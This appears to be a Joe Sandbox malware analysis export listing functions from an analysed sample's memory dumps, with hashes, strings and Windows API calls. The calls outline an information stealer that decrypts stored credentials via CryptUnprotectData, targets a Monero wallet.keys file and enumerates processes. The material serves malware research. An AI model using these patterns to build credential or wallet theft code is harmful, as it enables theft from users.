Opcode ID: e23c67cf585d6362ba81780110b35ca672c3c83f9fc829cd87454c8fa1737693
Instruction ID: a33893f55d51e2cdafa55b03aa8eb3cc8ea17a75aacfe3c5666923e61291e28b
Opcode Fuzzy Hash: e23c67cf585d6362ba81780110b35ca672c3c83f9fc829cd87454c8fa1737693
Instruction Fuzzy Hash: 26125F319111189BDB14FB60DD96EED73B8AF54310F8045E9B50AA61D1EE307FCACBA2

Function 00ED50D9 Relevance: 9.0, Strings: 6, Instructions: 1531COMMON

Download Yara Rule

Strings

&,s, xrefs: 00ED5E33
-%~|, xrefs: 00ED5E0D
2,^, xrefs: 00ED5BE4
[', xrefs: 00ED54D4
Z{, xrefs: 00ED52C3
Bu}, xrefs: 00ED5C09

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &,s$-%~|$2,^$Bu}$Z{$['
API String ID: 0-832473510
Opcode ID: a46fa56749924d16d8defb93aebf20b86784cb7697f3e1bbbd219c4dc428654b
Instruction ID: 8cbfcb7bc0b8be749c55084ba80cde03ad5cec5c8ad4584757f4a54456614794
Opcode Fuzzy Hash: a46fa56749924d16d8defb93aebf20b86784cb7697f3e1bbbd219c4dc428654b
Instruction Fuzzy Hash: 28A218F3A0C2109FE704AE2DEC8567AFBE9EF94220F16493DEAC5C7744E93558058792

Function 00ED9E65 Relevance: 7.9, Strings: 5, Instructions: 1604COMMON

Download Yara Rule

Strings

i_R{, xrefs: 00EDA609
SJUw, xrefs: 00EDAD11
x7m?, xrefs: 00EDA6F0
P-^L, xrefs: 00EDA257
r)}, xrefs: 00EDA45D

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: P-^L$SJUw$i_R{$r)}$x7m?
API String ID: 0-1857407287
Opcode ID: dde06f25dcc9289eea30de3a5203d768b1c8c914dd6fcec76dff8dd696d033fa
Instruction ID: 40c9f9be2d71fab752afb959a7e91aaaf7860fe2ee57d27f6e0c6486cc5877f8
Opcode Fuzzy Hash: dde06f25dcc9289eea30de3a5203d768b1c8c914dd6fcec76dff8dd696d033fa
Instruction Fuzzy Hash: 04B208F3A086009FE3046E2DEC8567ABBE5EF94720F1A493DEAC4C7744E63598058797

Function 00B0C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00B0C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00B0C87C
lstrcat.KERNEL32(?,00B20B46), ref: 00B0C943
lstrcat.KERNEL32(?,00B20B47), ref: 00B0C957
lstrcat.KERNEL32(?,00B20B4E), ref: 00B0C978

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 2449315b367d9fbfffb292e231c8d4cf375c0e12a9ac3cc4d4cbed7ccca796cf
Instruction ID: e77482c67be05a83ce355bffeeb443e8f81c009241002d9199cb9684ec3b84ea
Opcode Fuzzy Hash: 2449315b367d9fbfffb292e231c8d4cf375c0e12a9ac3cc4d4cbed7ccca796cf
Instruction Fuzzy Hash: EA415F7994431ADBDB10DFA4DD89BEEBBB8BB44304F1042A8E509A62C0D7745A84CFA1

Function 00B07240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00B0724D
RtlAllocateHeap.NTDLL(00000000), ref: 00B07254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00B07281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00B072A4
LocalFree.KERNEL32(?), ref: 00B072AE

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 0a944a183cbc32e2a55da792e2b12f94be8ba28b9f1713c1e2dd2bcde13caea7
Instruction ID: 7a7cd34dbff373d3c5a5d569ef8a04e4b906c1c014fa64d967f2b27f0a7ec64a
Opcode Fuzzy Hash: 0a944a183cbc32e2a55da792e2b12f94be8ba28b9f1713c1e2dd2bcde13caea7
Instruction Fuzzy Hash: F70100B5A80308BBEB10DFD8DD49F9D77B8EB44704F104155FB05EA2C0DA70AA008B65

Function 00B19600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B1961E
Process32First.KERNEL32(00B20ACA,00000128), ref: 00B19632
Process32Next.KERNEL32(00B20ACA,00000128), ref: 00B19647
StrCmpCA.SHLWAPI(?,00000000), ref: 00B1965C
CloseHandle.KERNEL32(00B20ACA), ref: 00B1967A

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 3f09f992780dec1101f8aae60129108499ca86cd60ae4bb4d7c823b90473d56d
Instruction ID: 3bc8cb625a8886e5fd1aacca242d5ca8b69a88bdd2cd6d9d0bb0c8bb63c13b74
Opcode Fuzzy Hash: 3f09f992780dec1101f8aae60129108499ca86cd60ae4bb4d7c823b90473d56d
Instruction Fuzzy Hash: 1B010079A40308ABCB14DFA5CD54BDDB7F8EB48700F5041C8A505D6250D7349B80CF61

Function 00B18680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00B205B7), ref: 00B186CA
Process32First.KERNEL32(?,00000128), ref: 00B186DE
Process32Next.KERNEL32(?,00000128), ref: 00B186F3

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

CloseHandle.KERNEL32(?), ref: 00B18761

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: db30ef37bdc7c1320564d8ca958031368c9764910ce1f7052d69a3da71b6a14e
Instruction ID: 61ae4e30c6208c45b3cdba0c969b7493ea4dc8a42823c6afecd37193f26aea1b
Opcode Fuzzy Hash: db30ef37bdc7c1320564d8ca958031368c9764910ce1f7052d69a3da71b6a14e
Instruction Fuzzy Hash: 90314D71902218ABCB24EF54DC45FEEB7B8FF45710F5041D9E10AA21A0DB306E85CFA1

Function 00B18EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00B05184,40000001,00000000,00000000,?,00B05184), ref: 00B18EC0

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 94cb1b8e85dbbd20af7ee81d66ba2efaaf3db00af05d0cd4c310694e5476bea0
Instruction ID: d18e72fdf26fec89986f621abe07737336e2f03e91f50bf558aa4bb349b0c807
Opcode Fuzzy Hash: 94cb1b8e85dbbd20af7ee81d66ba2efaaf3db00af05d0cd4c310694e5476bea0
Instruction Fuzzy Hash: 4C11DA75200205AFDB00CFA4D885FA637EAFF89714F509998F9198B250DB75E981DB60

Function 00B09AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B04EEE,00000000,00000000), ref: 00B09AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00B04EEE,00000000,?), ref: 00B09B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B04EEE,00000000,00000000), ref: 00B09B2A
LocalFree.KERNEL32(?,?,?,?,00B04EEE,00000000,?), ref: 00B09B3F

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: e6338474e0b58b9fb353fcee6214d63c1fdc89ad226cac718e3dc8a669c981e9
Instruction ID: 1fa4dc2b2d4da520b63b41d6f5626cedc43e030bc668e7c531d14048eae136c4
Opcode Fuzzy Hash: e6338474e0b58b9fb353fcee6214d63c1fdc89ad226cac718e3dc8a669c981e9
Instruction Fuzzy Hash: 091174B8641308AFEB10CF64DC95FAA77B5FB89714F208158F9159B3D0C776A941CB60

Function 00B17980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B20E00,00000000,?), ref: 00B179B0
RtlAllocateHeap.NTDLL(00000000), ref: 00B179B7
GetLocalTime.KERNEL32(?,?,?,?,?,00B20E00,00000000,?), ref: 00B179C4
wsprintfA.USER32 ref: 00B179F3

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 5a8cb318dd32a879aa85632b537e8c8dc137f5a04ed9536b4307bff3bc9d21d9
Instruction ID: bea12e5032506fa11ed074a6feeb04ad646b68d89dd0936693b8abde5e622608
Opcode Fuzzy Hash: 5a8cb318dd32a879aa85632b537e8c8dc137f5a04ed9536b4307bff3bc9d21d9
Instruction Fuzzy Hash: 4C1127B2944218ABCB14DFC9DD45BBEB7F8FB4DB11F10425AF605A2280E6395940CBB1

Function 00B17A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,011FD8C8,00000000,?,00B20E10,00000000,?,00000000,00000000), ref: 00B17A63
RtlAllocateHeap.NTDLL(00000000), ref: 00B17A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,011FD8C8,00000000,?,00B20E10,00000000,?,00000000,00000000,?), ref: 00B17A7D
wsprintfA.USER32 ref: 00B17AB7

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: a1309e997bba2d5b6c58b73cb84e13d3515325219e796060b225f9b6db8f089e
Instruction ID: 29d80129b923c07dbd489c5021b26d98209c52f6e9b946ac99cb708b78d2786c
Opcode Fuzzy Hash: a1309e997bba2d5b6c58b73cb84e13d3515325219e796060b225f9b6db8f089e
Instruction Fuzzy Hash: B51170B1985228DBEB108F58DC45F9AB7B8FB05711F1042D6E50A93290CB741A40CF51

Function 00EDEE6A Relevance: 5.4, Strings: 3, Instructions: 1666COMMON

Download Yara Rule

Strings

ZR1, xrefs: 00EDF855
e?_], xrefs: 00EDF2A2
bJ6O, xrefs: 00EDF2B5

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ZR1$bJ6O$e?_]
API String ID: 0-2852574638
Opcode ID: 261c4b0ee95d6220f13897671e4e639d232c9e2b35a7e366731d5182a2926911
Instruction ID: 6dd82de4ac96bce5e041efc5a32dbc63cd0458fc60494862ef254a80b3adedc0
Opcode Fuzzy Hash: 261c4b0ee95d6220f13897671e4e639d232c9e2b35a7e366731d5182a2926911
Instruction Fuzzy Hash: CBB218F3A0C2049FE304AE2DDC8566ABBE9EFD4320F1A493DEAC4D7744E93558058796

Function 00EDD3A7 Relevance: 5.4, Strings: 3, Instructions: 1606COMMON

